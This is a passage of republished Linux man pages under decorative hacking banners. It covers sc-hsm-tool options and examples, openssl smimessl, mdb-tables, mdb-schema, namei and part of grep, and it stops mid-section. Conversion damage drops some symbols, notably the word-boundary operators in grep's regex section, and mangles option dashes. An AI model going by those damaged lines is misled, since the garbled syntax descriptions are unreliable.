Using –dkek-shares with 0 shares requests the SmartCard-HSM to generate a random DKEK. Keys wrapped with this DKEK can only be unwrapped in the same SmartCard-HSM.

After using –initialize with one or more DKEK shares, the SmartCard-HSM will remain in the initialized state until all DKEK shares have been imported. During this phase no new keys can be generated or imported.

–pin pin, –so-pin sopin,

These options can be used to specify the PIN values on the command line. If the value is set to env:VARIABLE, the value of the specified environment variable is used. By default, the code is prompted on the command line if needed.

Note that on most operation systems, any user can display the command line of any process on the system using utilities such as ps(1). Therefore, you should prefer passing the codes via an environment variable on an unsecured system.

–pin-retry value

Define number of PIN retries for user PIN during initialization. Default is 3.

–bio-server1 value

The hexadecimal AID of of the biometric server for template 1. Switches on the use of the user PIN as session PIN.

–bio-server2 value

The hexadecimal AID of of the biometric server for template 2. Switches on the use of the user PIN as session PIN.

–password value

Define password for DKEK share encryption. If set to env:VARIABLE, the value of the environment variable VARIABLE is used.

–pwd-shares-threshold value

Define threshold for number of password shares required for reconstruction.

–pwd-shares-total value

Define number of password shares.

–force

Force removal of existing key, description and certificate.

–label label, -l label

Define the token label to be used in –initialize.

–reader arg, -r arg

Number of the reader to use. By default, the first reader with a present card is used. If arg is an ATR, the reader with a matching card will be chosen.

–public-key-auth total-number-of-public-keys, -K total-number-of-public-keys

Define the total number of public keys to use for public key authentication when using –initialize. –public-key-auth is optional, but if its present, it must be used with –required-pub-keys.

When the SmartCard-HSM is initialized with these options, it will require M-of-N public key authentication to be used, where –required-pub-keys sets the M and –public-key-auth sets the N. After the initialization, the user should use –register-public-key to register the N public keys before the SmartCard-HSM can be used.

–required-pub-keys required-number-of-public-keys, -n required-number-of-public-keys

Define the required number of public keys to use for public key authentication when using –initialize. This is the M in M-of-N public key authentication. See –public-key-auth for more information.

–register-public-key input-public-key-file, -g input-public-key-file

Register a public key to be used for M-of-N public key authentication. The file can be exported from a different SmartCard-HSM with –export-for-pub-key-auth. This can only be used when the SmartCard-HSM has been initialized with –public-key-auth and –required-pub-keys and fewer than N public keys have been registered. Use –public-key-auth-status to check the how many public keys have been registered.

–export-for-pub-key-auth output-public-key-file, -e output-public-key-file

Export a public key to be used for M-of-N public key authentication. This should be used with –key-reference to choose the key to export. The file should be registered on another SmartCard-HSM using –register-public-key.

–public-key-auth-status -S

Print the public key authentication status. This is only valid if the SmartCard-HSM was initialized to use M-of-N public key authentication.

–wait, -w

Wait for a card to be inserted

–verbose, -v

Causes sc-hsm-tool to be more verbose. Specify this flag several times to enable debug output in the opensc library.

EXAMPLES

Create a DKEK share:

sc-hsm-tool –create-dkek-share dkek-share-1.pbe

Create a DKEK share with random password split up using a (3, 5) threshold scheme:

sc-hsm-tool –create-dkek-share dkek-share-1.pbe –pwd-shares-threshold 3 –pwd-shares-total 5

Initialize SmartCard-HSM to use a single DKEK share:

sc-hsm-tool –initialize –so-pin 3537363231383830 –pin 648219 –dkek-shares 1 –label mytoken

Import DKEK share:

sc-hsm-tool –import-dkek-share dkek-share-1.pbe

Import DKEK share using a password split up using a (3, 5) threshold scheme for encryption:

sc-hsm-tool –import-dkek-share dkek-share-1.pbe –pwd-shares-total 3

Wrap referenced key, description and certificate:

sc-hsm-tool –wrap-key wrap-key.bin –key-reference 1 –pin 648219

Unwrap key into same or in different SmartCard-HSM with the same DKEK:

sc-hsm-tool –unwrap-key wrap-key.bin –key-reference 10 –pin 648219 –force

Initialize SmartCard-HSM to use M-of-N public key authentication with M=2 and N=5

sc-hsm-tool –initialize –required-pub-keys 2 –public-key-auth 5

Export a public key for M-of-N public key authentication to a file

sc-hsm-tool –key-reference 1 –export-for-pub-key-auth ./public_key1.asn1

Register a public key for M-of-N public key authentication from a file

sc-hsm-tool –register-public-key ./public_key1.asn1

SEE ALSO

opensc-tool(1)

AUTHORS

sc-hsm-tool was written by Andreas Schwier <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

107 - Linux cli command smimessl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command smimessl and provides detailed information about the command smimessl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the smimessl.

NAME 🖥️ smimessl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

108 - Linux cli command mdb-tables

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mdb-tables and provides detailed information about the command mdb-tables, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mdb-tables.

NAME 🖥️ mdb-tables 🖥️

tables** - Get listing of tables in an MDB database

SYNOPSIS

mdb-tables [-S] [-1 | -d delim] [-t form|table|macro|systable|report|query|linkedtable|module|relationship|dbprop|any|all] [-T] database
mdb-tables -h|--help
mdb-tables --version

DESCRIPTION

mdb-tables is a utility program distributed with MDB Tools.

It produces a list of tables contained within an MDB database in a format suitable for use in shell scripts.

OPTIONS

-S, –system
Show system tables. System tables are generally those beginning with ‘MSys’.

-1, –single-column
Specifies that the tables should be listed 1 per line. This is equivalent to –delim

-d, –delimiter delim
Specifies an alternative delimiter. If no delimiter is specified, table names will be delimited by a tab character, or by newline if the -1 option was specified.

-t, –type type
Filters entries to show alternate types. Autorized values are form, table, macro, systable, report, query, linkedtable, module, relationship, dbprop, any, and all. Default value is table.

-T, –showtype
Display the entry type indentifier before each entry.

–version
Print the mdbtools version and exit.

NOTES

ENVIRONMENT

MDB_JET3_CHARSET
Defines the charset of the input JET3 (access 97) file. Default is CP1252. See iconv(1).

MDBICONV
Defines the output charset. Default is UTF-8. mdbtools must have been compiled with iconv.

MDBOPTS
Colon-separated list of options:

  • debug_like

  • debug_write

  • debug_usage

  • debug_ole

  • debug_row

  • debug_props

  • debug_all is a shortcut for all debug_* options

  • no_memo (deprecated; has no effect)

  • use_index (experimental; requires libmswstr)

HISTORY

mdb-tables first appeared in MDB Tools 0.3.

SEE ALSO

mdb-array(1) mdb-count(1) mdb-export(1) mdb-header(1) mdb-hexdump(1) mdb-import(1) mdb-json(1) mdb-parsecsv(1) mdb-prop(1) mdb-queries(1) mdb-schema(1) mdb-sql(1) mdb-ver(1)

AUTHORS

The mdb-tables utility was written by Brian Bruns.

BUGS

Access allows for tables to have spaces embedded in the table name.
You must specify a delimiter (-d) if you intend on piping the output of mdb-tables to a program such as awk or cut.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

109 - Linux cli command mdb-schema

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mdb-schema and provides detailed information about the command mdb-schema, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mdb-schema.

NAME 🖥️ mdb-schema 🖥️

schema** - Generate schema creation DDL

SYNOPSIS

mdb-schema [options] [-T tablename] [-N prefix] database [backend]
mdb-schema -h|--help
mdb-schema --version

DESCRIPTION

mdb-schema is a utility program distributed with MDB Tools.

It produces DDL (data definition language) output for the given database**. This can be passed to another** database to create a replica of the original access table format.

OPTIONS

-T, –table tablename
Single table option. Create schema for this table only. Default is to export all tables.

-N, –namespace prefix
Prefix identifiers with namespace.

–drop-table
Issue DROP TABLE statement.

–no-drop-table
Don’t issue DROP TABLE statement. This is the default.

–not-null
Issue NOT NULL constraints. This is the default.

–no-not-null
Don’t issue NOT NULL constraints.

–default-values
Issue DEFAULT values.

–no-default-values
Don’t issue DEFAULT values. This is the default.

–not-empty
Issue CHECK <> ’’ constraints.

–no-not-empty
Don’t issue CHECK <> ’’ constraints. This is the default.

–comments
Issue COMMENT ON statements with column/table descriptions. This is the default, but it’s not supported by all backends.

–no-comments
Don’t issue COMMENT ON statements.

–indexes
Export INDEXes. This is the default.

–no-indexes
Don’t export INDEXes.

–relations
Export foreign keys constraints. This is the default.

–no-relations
Don’t export foreign keys constraints.

–version
Print the mdbtools version and exit.

backend
Specifies target DDL dialect. Supported values are access, sybase, oracle, postgres, mysql and sqlite. If not specified the generated DDL will be in access format.

ENVIRONMENT

MDB_JET3_CHARSET
Defines the charset of the input JET3 (access 97) file. Default is CP1252. See iconv(1).

MDBICONV
Defines the output charset to use for the SQL file. Default is UTF-8. mdbtools must have been compiled with iconv.

MDBOPTS
Colon-separated list of options**:**

  • debug_like

  • debug_write

  • debug_usage

  • debug_ole

  • debug_row

  • debug_props

  • debug_all is a shortcut for all debug_* options

  • no_memo (deprecated; has no effect)

  • use_index (experimental; requires libmswstr)

NOTES

HISTORY

mdb-schema first appeared in MDB Tools 0.1.

SEE ALSO

mdb-array(1) mdb-count(1) mdb-export(1) mdb-header(1) mdb-hexdump(1) mdb-import(1) mdb-json(1) mdb-parsecsv(1) mdb-prop(1) mdb-queries(1) mdb-sql(1) mdb-tables(1) mdb-ver(1)

AUTHORS

The mdb-schema utility was written by Brian Bruns and others.

BUGS

Relationships and other features may not be supported by all databases. Access datatypes are mapped to their closest counterparts in the target backend**. This may not always yield an exact fit.**

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

110 - Linux cli command namei

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command namei and provides detailed information about the command namei, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the namei.

NAME 🖥️ namei 🖥️

follow a pathname until a terminal point is found

SYNOPSIS

namei [options] pathname

DESCRIPTION

namei interprets its arguments as pathnames to any type of Unix file (symlinks, files, directories, and so forth). namei then follows each pathname until an endpoint is found (a file, a directory, a device node, etc). If it finds a symbolic link, it shows the link, and starts following it, indenting the output to show the context.

This program is useful for finding “too many levels of symbolic links” problems.

For each line of output, namei uses the following characters to identify the file type found:

f: = the pathname currently being resolved d = directory l = symbolic link (both the link and its contents are output) s = socket b = block device c = character device p = FIFO (named pipe) - = regular file ? = an error of some kind

namei prints an informative message when the maximum number of symbolic links this system can have has been exceeded.

OPTIONS

-l, –long

Use the long listing format (same as -m -o -v).

-m, –modes

Show the mode bits of each file type in the style of ls(1), for example rwxr-xr-x.

-n, –nosymlinks

Don’t follow symlinks.

-o, –owners

Show owner and group name of each file.

-v, –vertical

Vertically align the modes and owners.

-x, –mountpoints

Show mountpoint directories with a D rather than a d.

-Z, –context

Show security context of the file or “?” if not available. The support for security contexts is optional and does not have to be compiled to the namei binary.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

BUGS

To be discovered.

AUTHORS

The original namei program was written by

The program was rewritten by

SEE ALSO

ls(1), stat(1), symlink(7)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The namei command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

111 - Linux cli command rgrep

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rgrep and provides detailed information about the command rgrep, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rgrep.

NAME 🖥️ rgrep 🖥️

print lines that match patterns

SYNOPSIS

grep [OPTION. . .] PATTERNS [FILE. . .]
grep [OPTION. . .] -e PATTERNS . . . [FILE. . .]
grep [OPTION. . .] -f PATTERN_FILE . . . [FILE. . .]

DESCRIPTION

grep searches for PATTERNS in each FILE. PATTERNS is one or more patterns separated by newline characters, and grep prints each line that matches a pattern. Typically PATTERNS should be quoted when grep is used in a shell command.

A FILE of “-” stands for standard input. If no FILE is given, recursive searches examine the working directory, and nonrecursive searches read standard input.

Debian also includes the variant programs egrep, fgrep and rgrep. These programs are the same as grep -E, grep -F, and grep -r, respectively. These variants are deprecated upstream, but Debian provides for backward compatibility. For portability reasons, it is recommended to avoid the variant programs, and use grep with the related option instead.

OPTIONS

Generic Program Information

- -help
Output a usage message and exit.

-V, - -version
Output the version number of grep and exit.

Pattern Syntax

-E, - -extended-regexp
Interpret PATTERNS as extended regular expressions (EREs, see below).

-F, - -fixed-strings
Interpret PATTERNS as fixed strings, not regular expressions.

-G, - -basic-regexp
Interpret PATTERNS as basic regular expressions (BREs, see below). This is the default.

-P, - -perl-regexp
Interpret PATTERNS as Perl-compatible regular expressions (PCREs). This option is experimental when combined with the -z (- -null-data) option, and grep -P may warn of unimplemented features.

Matching Control

-e* PATTERNS***, - -regexp=PATTERNS
Use PATTERNS as the patterns. If this option is used multiple times or is combined with the -f (
- -file**) option, search for all patterns given. This option can be used to protect a pattern beginning with “-”.

-f* FILE***, - -file=FILE
Obtain patterns from FILE, one per line. If this option is used multiple times or is combined with the -e (
- -regexp**) option, search for all patterns given. The empty file contains zero patterns, and therefore matches nothing. If FILE is - , read patterns from standard input.

-i, - -ignore-case
Ignore case distinctions in patterns and input data, so that characters that differ only in case match each other.

- -no-ignore-case
Do not ignore case distinctions in patterns and input data. This is the default. This option is useful for passing to shell scripts that already use -i, to cancel its effects because the two options override each other.

-v, - -invert-match
Invert the sense of matching, to select non-matching lines.

-w, - -word-regexp
Select only those lines containing matches that form whole words. The test is that the matching substring must either be at the beginning of the line, or preceded by a non-word constituent character. Similarly, it must be either at the end of the line or followed by a non-word constituent character. Word-constituent characters are letters, digits, and the underscore. This option has no effect if -x is also specified.

-x, - -line-regexp
Select only those matches that exactly match the whole line. For a regular expression pattern, this is like parenthesizing the pattern and then surrounding it with ^ and $.

General Output Control

-c, - -count
Suppress normal output; instead print a count of matching lines for each input file. With the -v, - -invert-match option (see above), count non-matching lines.

- -color[=WHEN], - -colour[=WHEN]
Surround the matched (non-empty) strings, matching lines, context lines, file names, line numbers, byte offsets, and separators (for fields and groups of context lines) with escape sequences to display them in color on the terminal. The colors are defined by the environment variable GREP_COLORS. WHEN is never, always, or auto.

-L, - -files-without-match
Suppress normal output; instead print the name of each input file from which no output would normally have been printed.

-l, - -files-with-matches
Suppress normal output; instead print the name of each input file from which output would normally have been printed. Scanning each input file stops upon first match.

-m* NUM***, - -max-count=**NUM
Stop reading a file after NUM matching lines. If NUM is zero, grep stops right away without reading input. A NUM of -1 is treated as infinity and grep does not stop; this is the default. If the input is standard input from a regular file, and NUM matching lines are output, grep ensures that the standard input is positioned to just after the last matching line before exiting, regardless of the presence of trailing context lines. This enables a calling process to resume a search. When grep stops after NUM matching lines, it outputs any trailing context lines. When the -c or - -count option is also used, grep does not output a count greater than NUM. When the -v or - -invert-match option is also used, grep stops after outputting NUM non-matching lines.

-o, - -only-matching
Print only the matched (non-empty) parts of a matching line, with each such part on a separate output line.

-q, - -quiet, - -silent
Quiet; do not write anything to standard output. Exit immediately with zero status if any match is found, even if an error was detected. Also see the -s or - -no-messages option.

-s, - -no-messages
Suppress error messages about nonexistent or unreadable files.

Output Line Prefix Control

-b, - -byte-offset
Print the 0-based byte offset within the input file before each line of output. If -o (- -only-matching) is specified, print the offset of the matching part itself.

-H, - -with-filename
Print the file name for each match. This is the default when there is more than one file to search. This is a GNU extension.

-h, - -no-filename
Suppress the prefixing of file names on output. This is the default when there is only one file (or only standard input) to search.

**- -label=**LABEL
Display input actually coming from standard input as input coming from file LABEL. This can be useful for commands that transform a file’s contents before searching, e.g., gzip -cd foo.gz | grep - -label=foo -H ‘some pattern’. See also the -H option.

-n, - -line-number
Prefix each line of output with the 1-based line number within its input file.

-T, - -initial-tab
Make sure that the first character of actual line content lies on a tab stop, so that the alignment of tabs looks normal. This is useful with options that prefix their output to the actual content: -H,-n, and -b. In order to improve the probability that lines from a single file will all start at the same column, this also causes the line number and byte offset (if present) to be printed in a minimum size field width.

-Z, - -null
Output a zero byte (the ASCII NUL character) instead of the character that normally follows a file name. For example, grep -lZ outputs a zero byte after each file name instead of the usual newline. This option makes the output unambiguous, even in the presence of file names containing unusual characters like newlines. This option can be used with commands like find -print0, perl -0, sort -z, and xargs -0 to process arbitrary file names, even those that contain newline characters.

Context Line Control

-A* NUM***, - -after-context=NUM
Print NUM lines of trailing context after matching lines. Places a line containing a group separator (
- -**) between contiguous groups of matches. With the -o or - -only-matching option, this has no effect and a warning is given.

-B* NUM***, - -before-context=NUM
Print NUM lines of leading context before matching lines. Places a line containing a group separator (
- -**) between contiguous groups of matches. With the -o or - -only-matching option, this has no effect and a warning is given.

-C* NUM***, -NUM, - -context=NUM
Print NUM lines of output context. Places a line containing a group separator (
- -**) between contiguous groups of matches. With the -o or - -only-matching option, this has no effect and a warning is given.

**- -group-separator=**SEP
When -A, -B, or -C are in use, print SEP instead of - - between groups of lines.

- -no-group-separator
When -A, -B, or -C are in use, do not print a separator between groups of lines.

File and Directory Selection

-a, - -text
Process a binary file as if it were text; this is equivalent to the - -binary-files=text option.

**- -binary-files=**TYPE
If a file’s data or metadata indicate that the file contains binary data, assume that the file is of type TYPE. Non-text bytes indicate binary data; these are either output bytes that are improperly encoded for the current locale, or null input bytes when the -z option is not given.

By default, TYPE is binary, and grep suppresses output after null input binary data is discovered, and suppresses output lines that contain improperly encoded data. When some output is suppressed, grep follows any output with a message to standard error saying that a binary file matches.

If TYPE is without-match, when grep discovers null input binary data it assumes that the rest of the file does not match; this is equivalent to the -I option.

If TYPE is text, grep processes a binary file as if it were text; this is equivalent to the -a option.

When type is binary, grep may treat non-text bytes as line terminators even without the -z option. This means choosing binary versus text can affect whether a pattern matches a file. For example, when type is binary the pattern q$ might match q immediately followed by a null byte, even though this is not matched when type is text. Conversely, when type is binary the pattern . (period) might not match a null byte.

Warning: The -a option might output binary garbage, which can have nasty side effects if the output is a terminal and if the terminal driver interprets some of it as commands. On the other hand, when reading files whose text encodings are unknown, it can be helpful to use -a or to set LC_ALL=‘C’ in the environment, in order to find more matches even if the matches are unsafe for direct display.

-D* ACTION***, - -devices=**ACTION
If an input file is a device, FIFO or socket, use ACTION to process it. By default, ACTION is read, which means that devices are read just as if they were ordinary files. If ACTION is skip, devices are silently skipped.

-d* ACTION***, - -directories=**ACTION
If an input file is a directory, use ACTION to process it. By default, ACTION is read, i.e., read directories just as if they were ordinary files. If ACTION is skip, silently skip directories. If ACTION is recurse, read all files under each directory, recursively, following symbolic links only if they are on the command line. This is equivalent to the -r option.

- -exclude=GLOB
Skip any command-line file with a name suffix that matches the pattern GLOB, using wildcard matching; a name suffix is either the whole name, or a trailing part that starts with a non-slash character immediately after a slash (
/
) in the name. When searching recursively, skip any subfile whose base name matches GLOB; the base name is the part after the last slash. A pattern can use *, ?, and [. . .] as wildcards, and ** to quote a wildcard or backslash character literally.

**- -exclude-from=**FILE
Skip files whose base name matches any of the file-name globs read from FILE (using wildcard matching as described under - -exclude).

**- -exclude-dir=**GLOB
Skip any command-line directory with a name suffix that matches the pattern GLOB. When searching recursively, skip any subdirectory whose base name matches GLOB. Ignore any redundant trailing slashes in GLOB.

-I
Process a binary file as if it did not contain matching data; this is equivalent to the - -binary-files=without-match option.

**- -include=**GLOB
Search only files whose base name matches GLOB (using wildcard matching as described under - -exclude). If contradictory - -include and - -exclude options are given, the last matching one wins. If no - -include or - -exclude options match, a file is included unless the first such option is - -include.

-r, - -recursive
Read all files under each directory, recursively, following symbolic links only if they are on the command line. Note that if no file operand is given, grep searches the working directory. This is equivalent to the -d recurse option.

-R, - -dereference-recursive
Read all files under each directory, recursively. Follow all symbolic links, unlike -r.

Other Options

- -line-buffered
Use line buffering on output. This can cause a performance penalty.

-U, - -binary
Treat the file(s) as binary. By default, under MS-DOS and MS-Windows, grep guesses whether a file is text or binary as described for the - -binary-files option. If grep decides the file is a text file, it strips the CR characters from the original file contents (to make regular expressions with ^ and $ work correctly). Specifying -U overrules this guesswork, causing all files to be read and passed to the matching mechanism verbatim; if the file is a text file with CR/LF pairs at the end of each line, this will cause some regular expressions to fail. This option has no effect on platforms other than MS-DOS and MS-Windows.

-z, - -null-data
Treat input and output data as sequences of lines, each terminated by a zero byte (the ASCII NUL character) instead of a newline. Like the -Z or - -null option, this option can be used with commands like sort -z to process arbitrary file names.

REGULAR EXPRESSIONS

A regular expression is a pattern that describes a set of strings. Regular expressions are constructed analogously to arithmetic expressions, by using various operators to combine smaller expressions.

grep understands three different versions of regular expression syntax: “basic” (BRE), “extended” (ERE) and “perl” (PCRE). In GNU grep, basic and extended regular expressions are merely different notations for the same pattern-matching functionality. In other implementations, basic regular expressions are ordinarily less powerful than extended, though occasionally it is the other way around. The following description applies to extended regular expressions; differences for basic regular expressions are summarized afterwards. Perl-compatible regular expressions have different functionality, and are documented in pcre2syntax(3) and pcre2pattern(3), but work only if PCRE support is enabled.

The fundamental building blocks are the regular expressions that match a single character. Most characters, including all letters and digits, are regular expressions that match themselves. Any meta-character with special meaning may be quoted by preceding it with a backslash.

The period . matches any single character. It is unspecified whether it matches an encoding error.

Character Classes and Bracket Expressions

A bracket expression is a list of characters enclosed by [ and ]. It matches any single character in that list. If the first character of the list is the caret ^ then it matches any character not in the list; it is unspecified whether it matches an encoding error. For example, the regular expression [0123456789] matches any single digit.

Within a bracket expression, a range expression consists of two characters separated by a hyphen. It matches any single character that sorts between the two characters, inclusive, using the locale’s collating sequence and character set. For example, in the default C locale, [a-d] is equivalent to [abcd]. Many locales sort characters in dictionary order, and in these locales [a-d] is typically not equivalent to [abcd]; it might be equivalent to [aBbCcDd], for example. To obtain the traditional interpretation of bracket expressions, you can use the C locale by setting the LC_ALL environment variable to the value C.

Finally, certain named classes of characters are predefined within bracket expressions, as follows. Their names are self explanatory, and they are [:alnum:], [:alpha:], [:blank:], [:cntrl:], [:digit:], [:graph:], [:lower:], [:print:], [:punct:], [:space:], [:upper:], and [:xdigit:]. For example, [[:alnum:]] means the character class of numbers and letters in the current locale. In the C locale and ASCII character set encoding, this is the same as [0-9A-Za-z]. (Note that the brackets in these class names are part of the symbolic names, and must be included in addition to the brackets delimiting the bracket expression.) Most meta-characters lose their special meaning inside bracket expressions. To include a literal ] place it first in the list. Similarly, to include a literal ^ place it anywhere but first. Finally, to include a literal - place it last.

Anchoring

The caret ^ and the dollar sign $ are meta-characters that respectively match the empty string at the beginning and end of a line.

The Backslash Character and Special Expressions

The symbols ** and ** respectively match the empty string at the beginning and end of a word. The symbol  matches the empty string at the edge of a word, and \B matches the empty string provided it’s not at the edge of a word. The symbol \w is a synonym for [_[:alnum:]] and \W is a synonym for [^_[:alnum:]].

Repetition

A regular expression may be followed by one of several repetition operators:

?
The preceding item is optional and matched at most once.

*
The preceding item will be matched zero or more times.

+
The preceding item will be matched one or more times.

{n}
The preceding item is matched exactly n times.

{n,}
The preceding item is matched n or more times.

{,m}
The preceding item is matched at most m times. This is a GNU extension.

{n,m}
The preceding item is matched at least n times, but not more than m times.

Concatenation

Two regular expressions may be concatenated; the resulting regular expression matches any string formed by concatenating two substrings that respectively match the concatenated expressions.

Alternation

Two regular expressions may be joined by the infix operator |; the resulting regular expression matches any string matching either alternate expression.

Precedence

